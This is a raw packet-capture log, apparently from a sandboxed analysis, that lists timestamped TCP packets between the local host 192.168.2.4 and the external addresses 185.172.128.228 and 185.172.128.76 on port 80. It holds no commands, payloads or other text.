Apr 23, 2024 09:38:13.673938036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.673965931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.673971891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.674007893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.715522051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.715581894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.715622902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.715636015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.715662956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.715671062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867645025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867707014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867723942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867746115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867767096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867782116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867784023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867820024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867821932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867856979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867861032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867892981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867901087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867935896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.867939949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.867980957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.878096104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878133059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878159046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878168106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878185034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878206015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878215075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878242016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878246069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878278017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878281116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878314018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878317118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878349066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878384113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878420115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878456116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878493071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878494024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878529072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878563881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878599882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878633976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878659010 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878667116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878669977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878704071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878705025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878740072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878743887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878776073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878779888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878812075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878814936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878848076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878851891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878882885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878885984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878920078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878921986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878956079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878958941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.878990889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.878995895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879025936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879029989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879061937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879064083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879097939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879100084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879132986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879137993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879168034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879172087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879203081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879205942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879239082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879241943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879273891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879282951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879308939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879313946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879344940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879348040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879379988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879381895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879415989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879419088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879451036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879452944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879486084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879487991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879520893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879523993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879555941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879559994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879590988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879594088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879626989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879628897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879662037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879666090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879697084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879703045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879731894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879736900 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879767895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879770041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879803896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879807949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879838943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879842043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879874945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879875898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879913092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879914045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879950047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879956007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.879986048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.879991055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880024910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880026102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880059004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880063057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880094051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880096912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880136967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880148888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880187035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880187035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880223036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880224943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880259991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880260944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880296946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880300045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880331993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880337000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880364895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880367994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880402088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880405903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880436897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880439997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880471945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880475044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880506992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880510092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880542994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880547047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880578041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880579948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880613089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880615950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880650043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880654097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880685091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880687952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880719900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880724907 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880754948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880758047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880790949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880794048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880825996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880835056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880865097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880866051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880903959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880906105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880942106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880943060 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.880976915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.880983114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881012917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881015062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881047964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881051064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881083012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881084919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881119013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881122112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881154060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881156921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881190062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881190062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881225109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881226063 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881261110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881263971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881295919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881299019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881331921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881334066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881366968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881371021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881402016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881412029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881437063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881441116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881472111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881473064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881508112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881510019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881542921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881546974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881577969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881582975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881613970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881618023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881649017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881650925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881684065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881686926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881736040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881738901 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881772041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881776094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881808996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881812096 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881843090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881844997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881880045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881880999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881917000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881931067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881952047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881956100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.881988049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.881993055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882024050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882026911 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882060051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882061958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882095098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882097006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882132053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882134914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882169008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882170916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882205009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882208109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882241011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882242918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882277966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882278919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882313013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882324934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882348061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882356882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882384062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882394075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882420063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882430077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882456064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882463932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882492065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882498026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882528067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882543087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882563114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882570982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882597923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882606030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882632971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882641077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882668972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882677078 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882704973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882711887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882740974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882750034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882776976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882783890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882811069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882818937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882847071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882883072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882919073 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.882919073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882955074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.882988930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883001089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883024931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883034945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883059978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883064985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883095980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883099079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883131027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883131981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883167028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883169889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883203030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883205891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883238077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883240938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883272886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883304119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883307934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883322001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883343935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883352995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883379936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883387089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883414984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883424044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883450031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883452892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883486986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883490086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883522987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883527994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883558035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883567095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883591890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883599997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883627892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883637905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883663893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883670092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883698940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883702993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883734941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883738995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.883770943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.883776903 CEST	49735	80	192.168.2.4	185.172.128.228
